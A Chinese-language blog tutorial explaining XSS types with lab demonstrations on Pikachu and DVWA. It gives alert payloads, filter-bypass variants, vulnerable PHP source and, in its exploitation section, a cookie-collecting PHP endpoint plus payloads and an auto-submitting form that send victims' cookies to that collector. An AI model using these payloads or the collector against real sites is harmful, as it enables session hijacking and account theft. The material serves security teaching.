XSS基礎講解

初識XSS

XSS全稱(Cross Site Scripting),翻譯爲跨站腳本攻擊,是最常見的Web應用程序安全漏洞之一。XSS是指攻擊者在網頁中嵌入客戶端腳本,通常是JavaScript編寫的危險代碼,當用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。

XSS屬於客戶端攻擊,受害者最終是用戶,但特別要注意的是網站管理人員也屬於用戶之一。這就意味着XSS可以進行“服務端”攻擊,因爲管理員要比普通用戶的權限大得多,一般管理員都可以對網站進行文件管理,數據管理等操作,而攻擊者一般也是靠管理員身份作爲“跳板”進行實施攻擊。

XSS攻擊最終目的是在網頁中嵌入客戶端惡意腳本代碼,最常用的攻擊代碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript、flash。而如今的互聯網客戶端腳本基本是基於Javascript,所以如果想要深入研究XSS,需要要精通Javascript。

XSS漏洞出現的原因

程序對輸入和輸出的控制不夠嚴格,導致"精心構造“的腳本輸入後,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害.

XSS的危害

劫持用戶cookie是最常見的跨站攻擊形式,通過在網頁中寫入並執行腳本執行文件(多數情況下是JavaScript腳本代碼),劫持用戶瀏覽器,將用戶當前使用的sessionID信息發送至攻擊者控制的網站或服務器中。“框架釣魚”,利用JS腳本的基本功能之一:操作網頁中的DOM樹結構和內容,在網頁中通過JS腳本,生成虛假的頁面,欺騙用戶執行操作,而用戶所有的輸入內容都會被髮送到攻擊者的服務器上。

XSS分類

1、反射型XSS

交互的數據一般不會被存在在數據庫裏面,只是簡單的把用戶輸入的數據反射給瀏覽器,所見即所得。

實驗演示

Pikachu
  1. 修改HTML代碼對輸入字符的長度限制

這種方法稍微麻煩,我們可以使用burpsuite破除前端的限制

在這裏插入圖片描述

  1. 輸入框輸入以下代碼:
<script>alert(63252)</script>
  1. 出現彈窗

在這裏插入圖片描述

  1. 分析源代碼
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>輸入'kobe'試試-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>願你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}
如果輸入爲空,輸出“輸入Kobe試試”
如果輸入爲Kobe,輸出“願你和Kobe一樣,永遠年輕,永遠熱血沸騰!”
其他情況輸出“誰是xxx,idon‘t care!”

可以看到代碼都是直接引用輸入參數,所以會產生xss漏洞,但一般情況下get型的xss屬於中危漏洞,在地址欄明文傳輸參數的xss漏洞利用率高

附上burpsuite操作:

(1)抓包改參數後發送

在這裏插入圖片描述

(2)查看結果

查看方式一:

在response處查看源代碼,我們可以看到執行成功

在這裏插入圖片描述

查看方式二:

在repeater區域右鍵選擇show response in browser

在這裏插入圖片描述

直接複製地址粘貼到瀏覽器

在這裏插入圖片描述

回車後就出現結果

在這裏插入圖片描述

DVWA
等級medium

首先我們使用<script>alert(666)</script>,發現不起作用,應該是做了小過濾,使用其他方法繞過,也會成功出現彈窗

<ScriPt>alert(666)</sCrIpT>         大小寫
<sc<script>alert(666)</script>      雙寫

查看源代碼

<?php

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    echo "<pre>你好 ${name}</pre>";
}

?>

我們可以看到str_replace函數只是去除了<script>,可以繞過。假如我們對大小寫不進行區分和對script的拼接進行處理,這兩種辦法就會失效,這也是等級high使用的方法:

<?php

header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    echo "<pre>你好 ${name}</pre>";
}

?>

preg_replace()函數用於正則表達式的搜索和替換,i不區分大小寫

等級high

我們可以使用img、body等標籤的事件或者iframe等標籤的src注入代碼進行繞過

<img src="1"onerror="alert(666)"> 

在這裏插入圖片描述
在這裏插入圖片描述
如果出現失敗的情況,首先檢查一下代碼是否正確,其次刷新一下網頁,dvwa靶場經常響應不實時,最後可以採用burpsuite

2、儲存型XSS

交互的數據會被存在在數據庫裏面,永久性存儲,具有很強的穩定性,屬於危害比較大的xss漏洞。

實驗演示

  1. 輸入框輸入以下代碼:
<script>alert(666)</script>

在這裏插入圖片描述

  1. 在留言刪除前每次打開留言板都可以看到彈窗,因爲代碼是存儲到數據庫中的,每次用戶打開都會加載執行

3、DOM XSS

不與後臺服務器產生數據交互,通過前端的dom節點形成的XSS漏洞。

DOM全稱是Document Object Model,也就是文檔對象模型。我們可以將DOM理解爲,一個與系統平臺和編程語言無關的接口,程序和腳本可以通過這個接口動態地訪問和修改文檔內容、結構和樣式。當創建好一個頁面並加載到瀏覽器時,DOM就悄然而生,它會把網頁文檔轉換爲一個文檔對象,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到網頁的目的。

實驗演示

  1. 輸入以下代碼:
<a href='#' onclick="alert(2222)">what do you see?</a>

在這裏插入圖片描述
2. 點擊後產生一個鏈接,點擊鏈接產生彈窗:

在這裏插入圖片描述

XSS測試方法

手工測試有時候太慢了,我們可以採用工具來進行自動化測試

1、工具掃描:APPscan、AWVS

工具可以掃描出xss漏洞,我們可以記下工具測試繞過的方法

2、手工測試:Burpsuite、firefox(hackbar)、XSSER XSSF

xssersnifer

在這裏插入圖片描述

使用手工檢測Web應用程序是否存在XSS漏洞時,最重要的是考慮那裏有輸入,輸入的數據在什麼地方輸出。在進行手工檢測XSS時,一定要選擇有特殊意義的字符,這樣可以快速測試是否存在XSS。

(1)在目標站點上找到輸入點,比如查詢接口,留言板等;
(2)輸入一組"特殊字符+唯一識別字符",點擊提交後,查看返回的源碼,是否有做對應的處理;
(3)通過搜索定位到唯一字符,結合唯一字符前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;

漏洞利用

搭建xss平臺

pikachu實驗

在自己的公網服務器搭建一個平臺,示範:

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//這個是獲取cookie的api頁面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.177.146/pikachu/index.php");
//重定向到一個用戶信任的網站頁面http://192.168.177.146/pikachu/index.php

?>

get型

  1. 在存在get型xss反射漏洞框內輸入以下代碼:
<script>document.location = 'http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php cookie=' + document.cookie;</script>

在這裏插入圖片描述
在這裏插入圖片描述

直接使用的是pikachu的xss平臺,非實驗時location後的url應該是自己的搭建的平臺的url

  1. 在平臺獲取到cookie信息

在這裏插入圖片描述

post型

這種方法侷限性非常大,我認爲它更像是一種釣魚,必須在用戶進行登錄後,再發送一個自己服務器上的鏈接誘導用戶點開,才能竊取cookie信息

  1. 誘導鏈接網頁代碼的示範
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.177.146/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

action後的url:http://192.168.177.146/pikachu/vul/xss/xsspost/xss_reflected_post.php爲用戶進行登錄的url,location後的url:http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php爲自己搭建的xss平臺

  1. 用戶點擊後就能獲得cookie信息

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章